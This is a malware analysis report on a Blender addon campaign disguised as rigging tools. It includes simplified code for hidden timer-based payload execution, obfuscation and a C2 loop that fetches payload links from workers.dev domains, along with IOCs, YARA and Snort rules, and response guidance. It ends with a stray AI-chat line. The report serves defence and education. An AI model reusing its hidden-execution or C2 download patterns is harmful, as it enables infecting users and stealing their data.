Blender Virus Analysis

ADVANCED MALWARE ANALYSIS: Blender Addon Campaign
Analysis Date: June 5, 2025
Threat Level: CRITICAL
Status: ACTIVE CAMPAIGN
EXECUTIVE SUMMARY
This analysis covers a sophisticated malware campaign targeting Blender users through malicious addons. The operation demonstrates professional-level development with APT-like characteristics, multiple payload types, and extensive infrastructure.
Key Findings:

Multi-stage attack with 21.2MB complete malware platform
Professional C2 infrastructure with 20+ backup domains
Multiple capabilities: ransomware, keylogger, data theft, remote access
Active campaign (confirmed operational June 2025)
Russian attribution based on code comments and timestamps

TECHNICAL ANALYSIS
Attack Vector
Initial Infection: Malicious Blender addon disguised as "Rigify Controls"

File appears as legitimate rigging tools
~500 lines of Python code mixing genuine functionality with malware
Uses social engineering: "Install this addon to get the chair model working"

Multi-Stage Execution Flow
Stage 1: Blender Addon (Initial Compromise)
python# Legitimate UI elements for camouflage
class RIGIFY_PT_main_panel(bpy.types.Panel):
    bl_label = "FK/IK Controls"
    # [Working rigging code omitted for brevity]

# Malicious timer-based execution (simplified)
def _defer_execution():
    try:
        execute_malware_payload()
    except NameError:
        return 0.1  # Retry every 0.1 seconds
    return None

bpy.app.timers.register(_defer_execution)
Stage 2: PowerShell Dropper

Downloads 21MB ZIP package from external server
Uses legitimate-looking domains on Cloudflare Workers
Hidden window execution to avoid user detection

Stage 3: Platform Deployment

Complete Python 3.13 runtime environment (6.1MB)
OpenSSL cryptographic libraries (5.2MB)
SQLite database system (1.5MB)
20+ Python extension modules (4.2MB)

Stage 4: Malware Operations

Multi-threaded execution with monitoring
30-minute active periods for persistence
Base64 + zlib encoded final payloads

Code Analysis Samples
Obfuscation Techniques:
python# Layer 1: Variable name mangling
_x2 = subprocess  # Hide true purpose
_x3 = requests    # Obscure network functionality

# Layer 2: String encoding with prefix removal
encoded_payload = "ABCDEYWRkb25zMQ==="[5:]  # Skip first 5 chars
decoded = base64.b64decode(encoded_payload)

# Layer 3: Multi-layer compression
final_payload = zlib.decompress(base64.b64decode(cleaned_script))
C2 Communication Pattern:
python# Simplified C2 request structure
def contact_c2_server():
    servers = [decode_server_list()]  # 20+ backup domains
    for server in servers:
        try:
            url = f"https://addons1.{server}.workers.dev/get-link"
            response = requests.get(url, headers=fake_browser_headers)
            if response.status_code == 200:
                return process_payload(response.json()["link"])
        except:
            continue  # Try next server
Russian Attribution Evidence:
python# Russian language comments found in final payload:
# Сохраняем оригинальные дескрипторы stdout и stderr
# (Saving original stdout and stderr descriptors)

# Определяем пути к файлам логов
# (Defining paths to log files)

# Если файлы уже существуют, удаляем их
# (If files already exist, delete them)
MALWARE CAPABILITIES
Ransomware Module

Encryption: AES-256, RSA-4096 support via OpenSSL
Target Files: Documents, images, project files, databases
Key Management: Secure key generation with hardware entropy
Backup Deletion: Shadow copy removal capabilities

Information Stealer

Browser Data: Passwords, cookies, browsing history, bookmarks
System Info: Hardware details via WMI, installed software
Network Config: IP addresses, network shares, WiFi credentials
Document Harvesting: Selective creative project file targeting

Remote Access Trojan (RAT)

C2 Communication: HTTPS with certificate validation
Command Execution: PowerShell and system commands
File Operations: Upload/download, directory traversal
System Control: Process management, registry access, service control

Keylogger/Surveillance

Input Monitoring: Low-level keyboard/mouse capture
Screen Capture: Screenshot functionality
Application Tracking: Active window monitoring
Media Access: Potential webcam/microphone activation

INFRASTRUCTURE ANALYSIS
Command & Control Network
Primary Tier Domains:

cloudaddons1987.workers.dev (ACTIVE)
poupathockmist1989.workers.dev (BLOCKED)
skyaddons2001.workers.dev (OFFLINE)
mistaddons1995.workers.dev (OFFLINE)

Secondary Tier: 15+ additional backup domains
Hosting: Cloudflare Workers (legitimate service abuse)
Protocol: HTTPS with valid certificates
Redundancy: Automatic failover mechanisms
Network Communication
Request Pattern:
GET /get-link HTTP/1.1
Host: addons1.[domain].workers.dev
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json

Response Format:
{
  "link": "[base64_encoded_powershell_command]"
}
INDICATORS OF COMPROMISE (IOCs)
Network IOCs
Malicious IPs:

66.63.187.113 (primary download server)

Malicious Domains:

*.workers.dev/get-link (URL pattern)
addons1.cloudaddons1987.workers.dev (active C2)

Network Signatures:

Large downloads (20+ MB) from workers.dev domains
HTTPS POST requests with base64 JSON payloads
DNS queries for addon-themed domain names

File IOCs
Primary Package:

KursorResourcesV4.zip
SHA256: 9113d030d727b05aa1e896d1e8f0187e8f99b579332eff7ba955c989c73aec76
Size: 10.95 MB (compressed), 21.2 MB (extracted)

Key Executables:

Gyliver.exe: 084061e07ae200522a756f390e92c6ad7256e486792c81eb3d0f8a5da27b2c0d
KursorResourcesV4.exe: [same hash - identical files]

Python Scripts:

Gyliver.py: 6dd9969436730b1400a51a1c33b05d0e17ec2643454db4b292358ceaae8ac0c8
kursorV4.py: 632ee5cf287c226342afc6f4d244f287a619644bfa0fc038f4d710c86e7ad214

System IOCs
Registry Modifications:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Gyliver.lnk entries in startup folder

File System Artifacts:

%TEMP%\KursorResourcesV4\ directory
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Gyliver.lnk
script_output_1.log, script_output_2.log (execution logs)

DETECTION RULES
YARA Rule
rule Kursor_Gyliver_Malware {
    meta:
        description = "Detects Kursor/Gyliver malware family"
        author = "Security Research"
        date = "2025-06-05"

    strings:
        $s1 = "KursorResourcesV4" ascii
        $s2 = "Gyliver" ascii
        $s3 = "script_output_" ascii
        $s4 = "workers.dev/get-link" ascii
        $s5 = "pythonmemorymodule" ascii

    condition:
        3 of them or filesize > 20MB and 2 of them
}
Network Detection (Snort)
alert tcp any any -> any 443 (msg:"Kursor C2 Communication";
    flow:established,to_server; content:"GET"; http_method;
    content:"/get-link"; http_uri; content:"workers.dev"; http_header;
    sid:1000001; rev:1;)
PROTECTION RECOMMENDATIONS
Immediate Actions

Network Blocking: Implement IOC-based firewall rules
Endpoint Scanning: Deploy YARA rules across all systems
User Education: Alert about Blender addon risks
Backup Verification: Ensure backup integrity for creative assets

Blender-Specific Security
yamlBlender Security Configuration:
addon_sources:
  - Restrict to official Blender addon repository
  - Implement addon code signing verification
  - User education on addon installation risks

file_handling:
  - Monitor .blend file load operations
  - Implement addon execution sandboxing
  - Log all addon installation activities
  - Disable Auto Run Python Scripts by default
Network Defense
yamlNetwork Security:
dns_filtering:
  - Block *.workers.dev/get-link patterns
  - Monitor for addon-themed domain requests
  - Implement DNS sinkholing for known IOCs

web_filtering:
  - Block access to identified malicious IPs
  - Monitor large downloads from unknown sources
  - Inspect JSON responses for base64 payloads
Endpoint Protection
yamlEndpoint Security:
process_monitoring:
  - Monitor PowerShell execution with hidden windows
  - Track Python interpreter spawning from temp directories
  - Alert on multi-threaded background processes

file_monitoring:
  - Monitor Startup folder modifications
  - Track large file creations in %TEMP%
  - Monitor log file generation patterns
INCIDENT RESPONSE
Immediate Response Steps

Network Isolation: Disconnect affected systems
Process Termination: Kill Python and PowerShell processes
File Quarantine: Isolate KursorResourcesV4 directory
Backup Assessment: Check for file encryption

Investigation Checklist

 Memory dump for runtime analysis
 Network logs review for C2 communication
 File system timeline reconstruction
 Registry analysis for persistence mechanisms
 Browser data examination for credential theft

Recovery Actions

File Restoration: Restore from clean backups if encryption occurred
Credential Reset: Reset all passwords and authentication tokens
System Hardening: Update security controls and monitoring
User Training: Enhanced security awareness for creative teams

ATTRIBUTION ASSESSMENT
Technical Indicators

Code Quality: Professional development with error handling
Infrastructure: Substantial investment in redundant C2 network
Operational Security: Legitimate hosting service abuse
Targeting: Specific focus on creative industry

Linguistic Evidence

Russian comments throughout codebase
Cyrillic character support in encoding preferences
Timezone evidence from file timestamps (Eastern European)

Campaign Characteristics

Long-term operation: 6+ month active campaign
Resource investment: 21MB platform development
Professional quality: Commercial-grade cryptographic implementation
Sophisticated evasion: Multi-layer obfuscation and legitimate hosting

CONCLUSION
This malware campaign represents a significant evolution in targeting methodology, specifically focusing on creative professionals who may have different security awareness levels compared to traditional corporate users. The use of functional legitimate tools as camouflage, combined with professional-grade infrastructure and capabilities, makes this a particularly concerning threat.
The campaign's success likely depends on the creative community's trust in addon sharing and the perception that creative software is less likely to be targeted by sophisticated attacks. Organizations and individuals in creative industries should prioritize security measures specifically designed for creative software ecosystems.
Report compiled with AI assistance for technical documentation efficiency.

DISCLAIMER: This analysis is provided for educational and defensive purposes only. Do not attempt to access or interact with the malicious infrastructure mentioned in this report.

This gives you both a concise Reddit comment and a comprehensive pastebin breakdown that's informative but doesn't include complete malicious code!